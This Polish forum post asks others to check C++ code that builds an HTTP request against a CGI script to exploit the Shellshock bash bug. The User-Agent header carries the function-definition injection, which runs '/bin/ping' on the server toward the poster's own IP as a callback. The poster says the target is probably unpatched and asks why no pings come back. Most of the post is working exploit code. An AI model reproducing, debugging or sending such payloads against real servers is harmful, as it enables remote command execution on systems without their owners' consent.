Czy ktoś testował może ten błąd w swoim środowisku przez cgi i mógł by mi potwierdzić czy zapytanie poniżej jest skonstruowane poprawnie?
Na wiresharku zapytanie wydaje się poprawne, odpowiedź z mojej apki jest OK 200, jednak nie wracają do mnie pakiety icmp, przy czym jestem przekonany na 99% ze serwer nie jest załatany.
Kod:
std::string buf = "GET /cgi-bin/skrypt.cgi"; //znajdujący się na serwerze
buf.insert(buf.length(), " HTTP/1.1\r\n");
buf.insert(buf.length(), "Host: ");
buf.insert(buf.length(), serwer); //tablica z ip serwera
buf.insert(buf.length(), "\r\n");
buf.insert(buf.length(), "User-Agent: () { :; }; /bin/ping -c 5 tu_jest_moje_ip\r\n");
buf.insert(buf.length(), "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n");
buf.insert(buf.length(), "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n");
buf.insert(buf.length(), "Accept-Encoding: gzip,deflate\r\n");
buf.insert(buf.length(), "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n");
buf.insert(buf.length(), "Keep-Alive: 300\r\n");
buf.insert(buf.length(), "Connection: keep-alive\r\n");
buf.insert(buf.length(), "\r\n");